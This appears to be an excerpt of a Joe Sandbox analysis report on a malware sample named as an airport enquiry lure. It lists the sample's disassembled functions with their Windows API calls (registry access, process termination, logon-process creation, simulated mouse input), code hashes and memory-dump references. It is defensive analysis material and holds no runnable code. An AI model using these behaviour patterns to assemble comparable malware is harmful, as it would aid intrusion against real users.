Function 00D0046F Relevance: 9.2, APIs: 6, Instructions: 167registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C87F41: _memmove.LIBCMT ref: 00C87F82

Part of subcall function 00D010A5: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00D00038,?,?), ref: 00D010BC

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00D00548
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?), ref: 00D00588
RegCloseKey.ADVAPI32(?,00000001,00000000), ref: 00D005AB
RegEnumValueW.ADVAPI32(?,-00000001,?,?,00000000,?,00000000,00000000), ref: 00D005D4
RegCloseKey.ADVAPI32(?,?,00000000), ref: 00D00617
RegCloseKey.ADVAPI32(00000000), ref: 00D00624

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Close$BuffCharConnectEnumOpenRegistryUpperValue_memmove
String ID:
API String ID: 4046560759-0
Opcode ID: 390013dda8650a774cfbce96145da2ba273c10bcc1d7e4907d1f5d266ef6f4ee
Instruction ID: c3d46f8149b238cccc9fa592f494399c6bff2509f36f100ef890de867e90aec3
Opcode Fuzzy Hash: 390013dda8650a774cfbce96145da2ba273c10bcc1d7e4907d1f5d266ef6f4ee
Instruction Fuzzy Hash: B8514831108200AFCB14EB64C885F6FBBE9FF89714F18491DF599872A1DB71E905EB62

Function 00D05A20 Relevance: 9.2, APIs: 6, Instructions: 160windowCOMMON

Download Yara Rule

APIs

GetMenu.USER32(?), ref: 00D05A82
GetMenuItemCount.USER32(00000000), ref: 00D05AB9
GetMenuStringW.USER32(00000000,00000000,?,00007FFF,00000400), ref: 00D05AE1
GetMenuItemID.USER32(?,?), ref: 00D05B50
GetSubMenu.USER32(?,?), ref: 00D05B5E
PostMessageW.USER32(?,00000111,?,00000000), ref: 00D05BAF

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$Item$CountMessagePostString
String ID:
API String ID: 650687236-0
Opcode ID: 909e426fcccc6f113d2141173abf700f0163ceed1bba233582df79345f60c2c9
Instruction ID: 60e53c30b31287e4875cfb91588f938a612fe93b7dcff46cdbf6e7074446af10
Opcode Fuzzy Hash: 909e426fcccc6f113d2141173abf700f0163ceed1bba233582df79345f60c2c9
Instruction Fuzzy Hash: 51516C35A00615AFCB11AFA4D845BAEB7B4EF48314F144469EC5AA7391CB70BE41DFA0

Function 00CDF3DD Relevance: 9.2, APIs: 6, Instructions: 159COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CDF3F7
VariantClear.OLEAUT32(00000013), ref: 00CDF469
VariantClear.OLEAUT32(00000000), ref: 00CDF4C4
_memmove.LIBCMT ref: 00CDF4EE
VariantClear.OLEAUT32(?), ref: 00CDF53B
VariantChangeType.OLEAUT32(?,?,00000000,00000013), ref: 00CDF569

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$Clear$ChangeInitType_memmove
String ID:
API String ID: 1101466143-0
Opcode ID: cdbe361b74f3b20101615c44476dacfa8377ba10d4214ca501d037bcb150172b
Instruction ID: 0ed8c7f6c123e0e6708b3ca163cb585c0382f4aeea560ceed7e2ff20d12005fd
Opcode Fuzzy Hash: cdbe361b74f3b20101615c44476dacfa8377ba10d4214ca501d037bcb150172b
Instruction Fuzzy Hash: 13515D75A002099FCB10CF58D884AAAB7F8FF4C314B15816AEE59DB301E730E952CB60

Function 00CE26F9 Relevance: 9.1, APIs: 6, Instructions: 138windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 00CE2747
GetMenuItemInfoW.USER32(?,000000FF,00000000,00000030), ref: 00CE2792
IsMenu.USER32(00000000), ref: 00CE27B2
CreatePopupMenu.USER32 ref: 00CE27E6
GetMenuItemCount.USER32(000000FF), ref: 00CE2844
InsertMenuItemW.USER32(00000000,?,00000001,00000030), ref: 00CE2875

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Menu$Item$CountCreateInfoInsertPopup_memset
String ID:
API String ID: 3311875123-0
Opcode ID: b362be6c53b22af0fc08574344b949d3aaae54098ea7896ad42314c6408f9d32
Instruction ID: 7acc8555efddf57552d05d2650d6e8f4f5d1278df157cfc5e2c269909002dc5a
Opcode Fuzzy Hash: b362be6c53b22af0fc08574344b949d3aaae54098ea7896ad42314c6408f9d32
Instruction Fuzzy Hash: 90518F71A00385DBDF34CF6AD888BAEBBF9BF44314F104169E4259B2D1D7709A44CB51

Function 00C81765 Relevance: 9.1, APIs: 6, Instructions: 113COMMON

Download Yara Rule

APIs

Part of subcall function 00C82612: GetWindowLongW.USER32(?,000000EB), ref: 00C82623

BeginPaint.USER32(?,?,?,?,?,?), ref: 00C8179A
GetWindowRect.USER32(?,?), ref: 00C817FE
ScreenToClient.USER32(?,?), ref: 00C8181B
SetViewportOrgEx.GDI32(00000000,?,?,00000000), ref: 00C8182C
EndPaint.USER32(?,?), ref: 00C81876

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: PaintWindow$BeginClientLongRectScreenViewport
String ID:
API String ID: 1827037458-0
Opcode ID: 9afc8a8c0f9fa09726fbdc80d84eb5727c5fb023416e22eef547f329e9dea0c0
Instruction ID: f654dac4477c74cc74df18fc5708cc55078231062c4a3ebc92c48c2c03216371
Opcode Fuzzy Hash: 9afc8a8c0f9fa09726fbdc80d84eb5727c5fb023416e22eef547f329e9dea0c0
Instruction Fuzzy Hash: 4C4180705043009FD710EF25CC85FB67BE8EB46728F180629F9A9C62E1C7719D46DB62

Function 00D0B958 Relevance: 9.1, APIs: 6, Instructions: 109windowCOMMON

Download Yara Rule

APIs

ShowWindow.USER32(00D467B0,00000000,01655828,?,?,00D467B0,?,00D0B862,?,?), ref: 00D0B9CC
EnableWindow.USER32(?,00000000), ref: 00D0B9F0
ShowWindow.USER32(00D467B0,00000000,01655828,?,?,00D467B0,?,00D0B862,?,?), ref: 00D0BA50
ShowWindow.USER32(?,00000004,?,00D0B862,?,?), ref: 00D0BA62
EnableWindow.USER32(?,00000001), ref: 00D0BA86
SendMessageW.USER32(?,0000130C,?,00000000), ref: 00D0BAA9

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Show$Enable$MessageSend
String ID:
API String ID: 642888154-0
Opcode ID: b5ee691ac59416f61125cf623f0fbefc53d8acf22056cca81955ad1f35e85e4a
Instruction ID: ea3b48fca2240a7c8b0cec4aa9cd633615bdc9237a0469810be20156285a411e
Opcode Fuzzy Hash: b5ee691ac59416f61125cf623f0fbefc53d8acf22056cca81955ad1f35e85e4a
Instruction Fuzzy Hash: 81414E30604641AFDB22CF19D489B957BE0FB05320F1C42AAEA4C8F6A2C771A845CB71

Function 00CF73B1 Relevance: 9.1, APIs: 6, Instructions: 97COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,?,?,?,?,00CF5134,?,?,00000000,00000001), ref: 00CF73BF

Part of subcall function 00CF3C94: GetWindowRect.USER32(?,?), ref: 00CF3CA7

GetDesktopWindow.USER32 ref: 00CF73E9
GetWindowRect.USER32(00000000), ref: 00CF73F0
mouse_event.USER32(00008001,?,?,00000001,00000001), ref: 00CF7422

Part of subcall function 00CE54E6: Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00CE555E

GetCursorPos.USER32(?), ref: 00CF744E
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 00CF74AC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForegroundSleep
String ID:
API String ID: 4137160315-0
Opcode ID: 3ac63eb4220ed449a00458eb8712d506e2e0d4f56da9fc2cd3240941246bbec6
Instruction ID: 7efc97fcfd72a498d9c43fbb003e0b84f0f672b98cea9fc99318859d493eecd0
Opcode Fuzzy Hash: 3ac63eb4220ed449a00458eb8712d506e2e0d4f56da9fc2cd3240941246bbec6
Instruction Fuzzy Hash: 9431D472508309ABD720DF14DC49F6BBBA9FF88314F100A19F599D7191CA70EA09CB92

Function 00CD8D5B Relevance: 9.1, APIs: 6, Instructions: 69memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00CD85F1: GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00CD8608
Part of subcall function 00CD85F1: GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00CD8612
Part of subcall function 00CD85F1: GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00CD8621
Part of subcall function 00CD85F1: HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00CD8628
Part of subcall function 00CD85F1: GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00CD863E

GetLengthSid.ADVAPI32(?,00000000,00CD8977), ref: 00CD8DAC
GetProcessHeap.KERNEL32(00000008,00000000), ref: 00CD8DB8
HeapAlloc.KERNEL32(00000000), ref: 00CD8DBF
CopySid.ADVAPI32(00000000,00000000,?), ref: 00CD8DD8
GetProcessHeap.KERNEL32(00000000,00000000,00CD8977), ref: 00CD8DEC
HeapFree.KERNEL32(00000000), ref: 00CD8DF3

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Heap$Process$AllocInformationToken$CopyErrorFreeLastLength
String ID:
API String ID: 3008561057-0
Opcode ID: 21fc1a32c40dfbceff37fde892788e2b03b10004220260c633ddcb090ef983c4
Instruction ID: 91acbe6aa6cd8bbe32e31dbdd9d5906f7c14ad15ee29a465c0d2861100892a0b
Opcode Fuzzy Hash: 21fc1a32c40dfbceff37fde892788e2b03b10004220260c633ddcb090ef983c4
Instruction Fuzzy Hash: A811CD31500706EBDB209F64CC08BAE77BAEB54315F20402AE989D3390CB319A08CB70

Function 00CD8AF9 Relevance: 9.1, APIs: 6, Instructions: 65processCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(0000000A,00000004), ref: 00CD8B2A
OpenProcessToken.ADVAPI32(00000000), ref: 00CD8B31
CreateEnvironmentBlock.USERENV(?,00000004,00000001), ref: 00CD8B40
CloseHandle.KERNEL32(00000004), ref: 00CD8B4B
CreateProcessWithLogonW.ADVAPI32(?,?,?,00000000,00000000,?,?,00000000,?,?,?), ref: 00CD8B7A
DestroyEnvironmentBlock.USERENV(00000000), ref: 00CD8B8E

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$BlockCreateEnvironment$CloseCurrentDestroyHandleLogonOpenTokenWith
String ID:
API String ID: 1413079979-0
Opcode ID: ac82dc91329c3a372000929381e656e2f51a5298055836cb4f67e283d4aaa1fa
Instruction ID: c1fc1088ad9f3768022dc43e849b3d47d5090cb96002c2f0934ba3f3e46aa188
Opcode Fuzzy Hash: ac82dc91329c3a372000929381e656e2f51a5298055836cb4f67e283d4aaa1fa
Instruction Fuzzy Hash: B1115CB2500209BBDF118FA4DD49FDE7BA9EF48704F144066FE04E2260C7719E659B61

Function 00D0C19A Relevance: 9.0, APIs: 6, Instructions: 49COMMON

Download Yara Rule

APIs

Part of subcall function 00C812F3: ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00C8134D
Part of subcall function 00C812F3: SelectObject.GDI32(?,00000000), ref: 00C8135C
Part of subcall function 00C812F3: BeginPath.GDI32(?), ref: 00C81373
Part of subcall function 00C812F3: SelectObject.GDI32(?,00000000), ref: 00C8139C

MoveToEx.GDI32(00000000,-00000002,?,00000000), ref: 00D0C1C4
LineTo.GDI32(00000000,00000003,?), ref: 00D0C1D8
MoveToEx.GDI32(00000000,00000000,?,00000000), ref: 00D0C1E6
LineTo.GDI32(00000000,00000000,?), ref: 00D0C1F6
EndPath.GDI32(00000000), ref: 00D0C206
StrokePath.GDI32(00000000), ref: 00D0C216

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Path$LineMoveObjectSelect$BeginCreateStroke
String ID:
API String ID: 43455801-0
Opcode ID: 803105576e8b05db5768a0fb925dfcdcc40d1fa7da2368ea96f0c67353ce5e35
Instruction ID: 5af88a124908990bfcc014e0797302cce4dcc8655b3dbb123048eeca904f7c75
Opcode Fuzzy Hash: 803105576e8b05db5768a0fb925dfcdcc40d1fa7da2368ea96f0c67353ce5e35
Instruction Fuzzy Hash: 50111B7640020CBFDF119F90DC88FAA7FADEB09354F148021BE198A6A1C7719D55DBB0

Function 00CA03A2 Relevance: 9.0, APIs: 6, Instructions: 44keyboardCOMMON

Download Yara Rule

APIs

MapVirtualKeyW.USER32(0000005B,00000000), ref: 00CA03D3
MapVirtualKeyW.USER32(00000010,00000000), ref: 00CA03DB
MapVirtualKeyW.USER32(000000A0,00000000), ref: 00CA03E6
MapVirtualKeyW.USER32(000000A1,00000000), ref: 00CA03F1
MapVirtualKeyW.USER32(00000011,00000000), ref: 00CA03F9
MapVirtualKeyW.USER32(00000012,00000000), ref: 00CA0401

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Virtual
String ID:
API String ID: 4278518827-0
Opcode ID: 5bb68a8f6bdc3e938e10ec3efaa2cb3eb4035f9789285c42e84edc174679f445
Instruction ID: aac3c0dc5b3d1d5de73eaccc6ea5dcbb1de84391e8d89a8da181f5f51642f650
Opcode Fuzzy Hash: 5bb68a8f6bdc3e938e10ec3efaa2cb3eb4035f9789285c42e84edc174679f445
Instruction Fuzzy Hash: 00016CB09017597DE3008F5A8C85B52FFA8FF19354F00411BA15C87A41C7F5A864CBE5

Function 00CE568B Relevance: 9.0, APIs: 6, Instructions: 43windowtimethreadCOMMON

Download Yara Rule

APIs

PostMessageW.USER32(?,00000010,00000000,00000000), ref: 00CE569B
SendMessageTimeoutW.USER32(?,00000010,00000000,00000000,00000002,000001F4,?), ref: 00CE56B1
GetWindowThreadProcessId.USER32(?,?), ref: 00CE56C0
OpenProcess.KERNEL32(001F0FFF,00000000,?,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE56CF
TerminateProcess.KERNEL32(00000000,00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE56D9
CloseHandle.KERNEL32(00000000,?,?,?,00000010,00000000,00000000,00000002,000001F4,?,?,00000010,00000000,00000000), ref: 00CE56E0

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Process$Message$CloseHandleOpenPostSendTerminateThreadTimeoutWindow
String ID:
API String ID: 839392675-0
Opcode ID: ca463c3eb6241f02a84cd77ffe29c8060977c6445ee215a921dbf487a990cb0b
Instruction ID: 518a34f7478fd5ad5508cfc98ee7ac4c7ca8d3f34dbfcee6bbfc01084c1e1b3f
Opcode Fuzzy Hash: ca463c3eb6241f02a84cd77ffe29c8060977c6445ee215a921dbf487a990cb0b
Instruction Fuzzy Hash: EFF01D32241258BBE7315BA29C0DFAB7A7CEBC6B11F500169FA08D1650DAA11A0186B5

Function 00CE74D2 Relevance: 9.0, APIs: 6, Instructions: 33synchronizationthreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

InterlockedExchange.KERNEL32(?,?), ref: 00CE74E5
EnterCriticalSection.KERNEL32(?,?,00C91044,?,?), ref: 00CE74F6
TerminateThread.KERNEL32(00000000,000001F6,?,00C91044,?,?), ref: 00CE7503
WaitForSingleObject.KERNEL32(00000000,000003E8,?,00C91044,?,?), ref: 00CE7510

Part of subcall function 00CE6ED7: CloseHandle.KERNEL32(00000000,?,00CE751D,?,00C91044,?,?), ref: 00CE6EE1

InterlockedExchange.KERNEL32(?,000001F6), ref: 00CE7523
LeaveCriticalSection.KERNEL32(?,?,00C91044,?,?), ref: 00CE752A

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CriticalExchangeInterlockedSection$CloseEnterHandleLeaveObjectSingleTerminateThreadWait
String ID:
API String ID: 3495660284-0
Opcode ID: ec439a5a9c12a38e4e86dc2d72b8ac12e14252b204a33bf49108f0721277cda0
Instruction ID: b66a0fbe68d65ee7c54f1756a4bacfaaba56cf5f87aa45ca9a020142c1bed6f9
Opcode Fuzzy Hash: ec439a5a9c12a38e4e86dc2d72b8ac12e14252b204a33bf49108f0721277cda0
Instruction Fuzzy Hash: C0F05E3A141712EBDB212B74FC8CAEB7B2AEF45302B200635F246D19B4CB755901CBA4

Function 00CD8E74 Relevance: 9.0, APIs: 6, Instructions: 23memorysynchronizationCOMMON

Download Yara Rule

APIs

WaitForSingleObject.KERNEL32(?,000000FF), ref: 00CD8E7F
UnloadUserProfile.USERENV(?,?), ref: 00CD8E8B
CloseHandle.KERNEL32(?), ref: 00CD8E94
CloseHandle.KERNEL32(?), ref: 00CD8E9C
GetProcessHeap.KERNEL32(00000000,?), ref: 00CD8EA5
HeapFree.KERNEL32(00000000), ref: 00CD8EAC

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: CloseHandleHeap$FreeObjectProcessProfileSingleUnloadUserWait
String ID:
API String ID: 146765662-0
Opcode ID: 07bd949a5ec2ae05b5094aeeb48ea093c1948bd93f2c05ec39dddc875da3856a
Instruction ID: 85b25c31c9a1b3a985bc56efc4cd4b0370f35e765e6f10f8948eb7b09e3e28cf
Opcode Fuzzy Hash: 07bd949a5ec2ae05b5094aeeb48ea093c1948bd93f2c05ec39dddc875da3856a
Instruction Fuzzy Hash: 62E0C236004301FBDA115FE1EC0CA0ABB79FB99722B208230F219C1A70CB32A461DBA1

Function 00CF8902 Relevance: 9.0, APIs: 3, Strings: 2, Instructions: 225COMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(?), ref: 00CF8928
CharUpperBuffW.USER32(?,?), ref: 00CF8A37
VariantClear.OLEAUT32(?), ref: 00CF8BAF

Part of subcall function 00CE7804: VariantInit.OLEAUT32(00000000), ref: 00CE7844
Part of subcall function 00CE7804: VariantCopy.OLEAUT32(00000000,?), ref: 00CE784D
Part of subcall function 00CE7804: VariantClear.OLEAUT32(00000000), ref: 00CE7859

Strings

Incorrect Parameter format, xrefs: 00CF8960, 00CF8B22
AUTOIT.ERROR, xrefs: 00CF8A3D

Memory Dump Source

Source File: 00000000.00000002.1687606854.0000000000C81000.00000020.00000001.01000000.00000003.sdmp, Offset: 00C80000, based on PE: true

Associated: 00000000.00000002.1687554635.0000000000C80000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D0F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687727691.0000000000D35000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687791917.0000000000D3F000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1687806940.0000000000D48000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_c80000_New Al Maktoum International Airport Enquiry Ref #2401249.jbxd

Similarity

API ID: Variant$ClearInit$BuffCharCopyUpper
String ID: AUTOIT.ERROR$Incorrect Parameter format
API String ID: 4237274167-1221869570
Opcode ID: 891ea0345b714202910647ee80d3116df108f6b8e29c54ba713d87339eb70e57
Instruction ID: eabec6bf555a4096e573d28027bbe6898ef45541d6f6220470c0d78a36c56c29
Opcode Fuzzy Hash: 891ea0345b714202910647ee80d3116df108f6b8e29c54ba713d87339eb70e57
Instruction Fuzzy Hash: FF91AF716083059FC750EF24C88196ABBE4EF88304F14496EF99A8B361DB30E90ADB52

